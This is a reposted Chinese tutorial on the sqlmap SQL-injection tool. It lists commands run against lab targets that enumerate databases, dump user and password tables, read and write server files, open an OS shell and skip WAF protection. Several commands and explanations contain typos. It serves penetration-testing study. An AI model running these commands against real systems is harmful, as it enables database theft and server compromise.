sqlmap使用


sqlmap介绍和使用一

 

sqlmap介绍:

           sqlmap开源的渗透测试工具,可以自动检测和利用sql注入缺陷,基于python编写,建议下载2.7或者2.8版本的python直接在命令行中调用解释器运行。

测试环境:

           vmare搭建靶场pentesterlab   使用python +  sqlmap进行测试

sql注入原理:

           当客户端提交的数据未作处理或转义直接带入数据库,就可能造成sql注入,攻击者通过直接构造不同的sql语句来实现对数据库的任意操作。

sql注入的分类:

         按变量类型分:数字型和字符型

         按照HTTP提交方式分:POST注入、GET注入和Cookie注入

        按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

SQL注入基本手工注入流程:     

   判断注入点:

         数字型:id=2-1
   字符型:' 、')、 '))、 "、 ")、"))
   注释符:-- (这是--空格)、--+、/**/、#

一、sqlmap使用:

        (1)查看sqlmap版本信息      python sqlmap.py  --version
          (2)查看sqlmap的帮助信息   python sqlmap.py  --help
二、 sqlmap直连数据库:
         (1)服务型数据or关系型数据库,(用户名:root 密码:123456)
                python  sqlmap.py   -d  "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
         (2)文件型数据库(前提条件:数据库的绝对路径)
                DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
         (3)sqlmap 针对单一的url探测,参数使用-u
             python  sqlmap.py  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --banner

三、 提高sqlmap 探测速度的方法
       (1)持久连接  sqlmap  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db  --keep-alive
         (2)  多线程   sqlmap   -u  "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbs  --thread 10

四、 指定数据库类型
          (1)  sqlmap  -u   "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db
        (2)sqlmap  -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms  mysql [版本号] --current-db      

五、 指定os后端操作系统 linux  windows
       (1)sqlmap  -u   “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --os windows --current-db

六、 指定宽字节注入(tamper="unmagicquotes.py")
       (1)sqlmap  -u     "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --dbs --thread 10 --tamper="unmagicquotes.py"  -v 3 --batch

八、  强制设置无效值替换  --invalid -bignum,强制使用大整数来实现相同的目标(如id=88888).
       (1)python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-bignum --current-db -v 3
         强制使用布尔操作来实现相同的目标 --invalid-logical (如id =1 and  1=2)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-logical   --current-db -v 3
         强制使用随机字符串来实现相同的目标 --invalid-string(如id=abcde)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-string   --current-db -v 3

九、 sqlmap设置自定义检测参数
          指定要执行的测试等级的参数,一共五个层次  --level, 探测等级5,
          --risk 平台危险等级3,一共3个等级,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入
        (1)python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=3 --tamper=base64encode --current-db
          (2)  python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=5 --risk=3  --tamper=base64encode --current-db

十、 sqlmap设置具体sql注入技术
        --techbnique 参数用来设置具体sql 注入技术。
           B:Boolean-based blind  基于布尔的盲注
           E:Error-based 报错注入
           U:Union query-based Unbion查询注入
           S:Stacked queries  堆叠注入
           T:Timed-based blind   时间的盲注
           Q:lnline queries   内联查询注入
          (1)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique B --dbs
          (2)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique BS --dbs

 十一、sqlmap设置时间盲注延迟时间,设置秒来延迟响应(DBMS延时)--time-sec选项
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T  --time-sec 3
                                  
十二、sqlmap设置union字段数,默认情况下,sqlmap测试使用1到10列的union查询sql注入技术,但是通过提供更高--level值,可以将此范围增加到50列
          手动方法为工具提供选--union-cols后跟一些列整数,如12-16表示使用12到16个列对union查询sql注入进行测试
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U  union-cols 12-18   
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 3  --technique U --union-char 123
          (3) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U --union-char 1 --union-cols 12-18  
十三、sqlmap 检索DBMS Banner
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --banner  -v 3
          sqlmap  检索DBMS当前用户      
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-user  -v  3
          sqlmap  检索当前数据库
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-db  -v  3
          sqlmap  检索当前数据库主机名  --hostname
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --hostname  -v  3
          sqlmap  检索当前用户是否是DBA  --is-dba           
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --is-dba
          sqlmap 枚举DBMS用户
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --technique  BU  --users
          sqlmap枚举DBMS用户密码
        (1) python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --technique  BU  --password
          sqlmap 枚举DBMS权限
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --role
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --privileges

 

sqlmap的介绍和使用二

 

十四、sqlmap 列举数据库名  --dbs

        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --dbs  
          sqlmap 枚举数据库表   
                --tables枚举表名  -->指定具体数据库 -D 数据库名(security)
                --exclude-sysdbs(排除系统数据库)

        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --tables
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D  security  --tables
        (3)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --tables   --exclude-sysdbs

          sqlmap  枚举数据表列
                  --columns  -D 指定数据库  -T指定数据表  -C 指定具体字段
        (1)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --columns
        (2)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   --columns  
        (3)python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   --columns  -C
         sqlmap 枚举数据值
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  -D sqlinjection  -T  users   -C  "custom" --dump

十五、sqlmap枚举schema信息--schema,列表将包含所有数据库、表和列,以及他们的类型
       (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1" --schema --exclude-sysdbs
          sqlmap检索数据表数量 --count-D(库名)
       (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1" --count -D   test
          sqlmap获取数据信息
          --start,--start,--first,--last
          --start 1 --stop 3 获取第二到第三表的名字
          --stop 1  获取第一张表的名字
          --first 3 --last  5 获取从第三到第五个字符
      (1)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  -D  sqlinjection  --start  1  --stop  3  
      (2)python   sqlmap.py   -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  -D  sqlinjection  --tables  --start  1  --stop 3  

          sqlmap设置条件获取信息  --pivot-column=id  设置独当一无二的列  
                                                --where=“id>3”设置条件
                                                --T (表名)
      (1)python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -T  users  --pivot-column id --columns
      (2)python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -D  sqlinjection  -T  users  --where="id>2"  
        (3)   python   sqlmap.py  -u "http://192.168.52.130/sqlinjection/example7/?id=1"   -D  sqlinjection  -T  users  -C  "username"  --where="id>2"

         sqlmap 枚举数据值   --dump
         (1)  python   sqlmap.py  -u "http://192.168.186.128/sqli/example1.php?name=root"   -D  sqlinjection  -T  users  -C  "username"  --dump

十六、 sqlmap暴力破解数据
            使用场景mysql<5.0时,mysql中没有元数据库information_schema
                                              --common-tables
                                              --common-columns
 
 十七、sqlmap读取文件
            --file-read 路径 读取对应文件内容,注意:此处的路径为绝对路径
               (1)    sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --file-read="F:\\flag.txt"
            --file-write  读取本地文件
            --file-dest   将读取的文件写入到远程绝对路径
             (1) sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --file-write="F:\\flag.txt"   --file-dest="F:\\flag.txt"
           sqlamap检索所有信息 -a 或 --all
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   -a
十八、 sqlmap执行系统命令--os-shell
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"   --os-shell
十九、sqlmap设置盲注字符集
               --charset=
               在基于布尔和基于时间的sql盲注中,用户可以强制使用自定义字符集来加速数据检索过程
            (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --charset=GBK -D test - T users  -C  "username"  --dump
          sqlmap爬取url
               sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接,使用此选项,用户可以设置一个深度,递归执行这个爬行过程,如果低于设置的深度,
               sqlmap不会进入收集阶段
               --crawl
               --crawl-exclude 字符串,存在字符串的url不进行爬取
            (1)python  sqlmap.py  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --batch--crawl=3
              sqlmap在csv输出中使用的分隔字符
               当被转储的数据存储到csv格式(--dump-format=CSV)时,条目必须用"分离值"分隔(默认值是,),如果用户想要覆盖它的默认值,他可以使用这个选项(例如--csv-del=";")
            (1)python  sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"  --csv-del=";" --batch  -v3  -D sqlinjection  -T users -C  username  --dump  --thread   10                
              sqlmap设置输出格式
               当将存储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML、SQLITE  
           (1)python   sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"    -v3 --batch  -D sqlinjection  -T users -C  username  --dump --dump-format="HTML"  --thread  10   

二十、sqlmap探测之前检测internet连接,检测当前计算机Internet连接是否正常,确保探测失败不是因为网络拦截问题
             --check-internet
           (1)   python   sqlmap.py   -u  "http://192.168.186.128/sqli/example4.php?id=2"   --check-internet  
             sqlmap解析和测试表单的输入字段
             --form
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --form  -v 3   --thread  5  
              sqlmap设置预计完成时间
                实时计算和显示估计的到达时间,检索每个查询输出,检索输出的技术是任何sql盲注类型时,就会显示这一点   注意:eta 和 -v 不兼容
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --form --thread 10 --batch  -D test  -T users  -C "user"  --dump  --eta  --technique  T
              sqlmap刷新会话文件
                由于会话文件的概念,所以最好知道您可以使用选项flush-session刷新文件的内容,通过这种方式,您可以避免sqlmap中默认实现的缓存机制.其他可能的方法是手动删除会话文件  
            (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" -D test  -T users  -C  "usernames"  --dump  --eta  --flush-session
              sqlmap忽略会话中存储的结果
               使用选项--fresh-queries来忽略该文件的内容.通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出
           (1)   python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --dbs  --fresh-queries  
             sqlmap使用Hex函数检索数据
                   非ascii数据的检索需要特殊的需求.解决这个问题的一个方法是使用DBMS hex函数.数据在被检索之前被编码为十六进制形式,然后被编码为原始形式
                   --hex
          (1) python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --hex -v 3  --batch
            sqlmap设置自定义输出路径
                   sqlamp默认讲会话和结果文件存储在子目录输出中。如果您想在不同的位置,可以使用这个选项(例如--out-dir=/tmp)
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --hex  --dump --batch  -v 3 --output-dir="///"  
            sqlmap从响应页面解析错误
                  如果web应用程序配置为调试模式, 以便在响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示他们.这对于调试很有用,
                  比如理解为什么某个枚举或接管开关不起作用----这可能与会话用户的特权有关
                  --parse-error
                 保存sqlmap配置文件  --save
                 可以将命令行选项保存到配置ini文件中,然后可以使用之前解释的-c选项 编辑生成的文件并将其传递给sqlmap
                 更新sqlmap  --update  
          (1)python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" -D  test  -T users  -C “users”--dump  --hex  -v3  --batch  --parse-errors  --flush-session

二十 一、sqlmap强制设置DBMS编码
             --encoding="gbk"
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --encoding="gbk"
              sqlmap存储http流量到HAR
             --har="HARFILE"
              HAR(HTTP Archive),是一个用来存储HTTP请求/响应信息的通用文件格式,基于JSON
            (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2" --dbs  --har="test_192.168.1.100.har"  
             sqlmap筛选具体playload
             --test-filter=“ROW”
             (1)   python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --dbs  --test-filter="ROW"  --flush-session  -v 3  
           sqlmap过滤具体playload
             --test-skip=“BENCHMARK”
              (1)  python  sqlmap.py  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --dbs  --test-skip="BENCHMARK"  --flush-session  -v 3  
          sqlmap过滤具体playload
               针对proxy日志文件使用正则表达式删选目标
              --scope="regex"        
 二十二、sqlmap 杂项参数缩写
               例如: -z   flu:--flush-session
                                --bat:batch
                                --ban: banner
                               --tec=EC:technique=EU  ERROR UNION              
              (1) sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  -z  ban,bat
              --alert 当发现sql注入时,运行主机系统命令
           (1)"http://192.168.186.128/sqli/example4.php?id=2"  --technique  U  --alert="ifconfig"  --flush-session
              --beep  当发现sql注入时,发出BB声音
             (1)  sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --beep
             --cleanup   清除DBMS udf创建的数据表
             --dependencies  查看依赖项
           (1)sqlmap   --dependencies  
              sqlmap 不进行高亮显示
              --disable-coloring  不进行高亮显示
           (1)sqlmap  -u  "http://192.168.186.128/sqli/example4.php?id=2"  --disable-coloring
              查看是否有WAF保护
              --identify-waf
            (1)sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"  --identify-waf
              --mobile  使用手机端User-Agent
              (1)   sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"  -v 3  --mobile      
              --offline  仅适用session文件,不进行联网探测
              --purge-output  清除output目录下的文件
              (1)  sqlmap  --purge-output
              --skip-waf忽略waf、ips
              (1)  sqlmap  -u   "http://192.168.186.128/sqli/example4.php?id=2"   --skip-waf  
              --sqlmap-shell  使用sqlmap shell
              (1)  sqlmap  --sqlmap-shell
              --tmp-dir=TMPDIR  指定本地目录用来存储临时文件
              --web--root=WEBROOT指定站点根目录
              --wizard 使用向导式的sqlmap
              (1) sqlmap  --wizard
              --answer=ANSEWERS  设置问题答案 例如“quit=N,follow=N”
              --gpage=GOOLEPAGE 设置Google Dork的页码数
              --smart  智能探测
              有些情况下,用户有大量的潜在目标url(例如,提供了选项-m),希望尽快找到一个脆弱的目标。
              如果使用--smart,将在扫描中进一步使用数据库管理系统错误的参数,否则跳过他们。    

 
https://www.cnblogs.com/blowwind/p/11844016.html


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM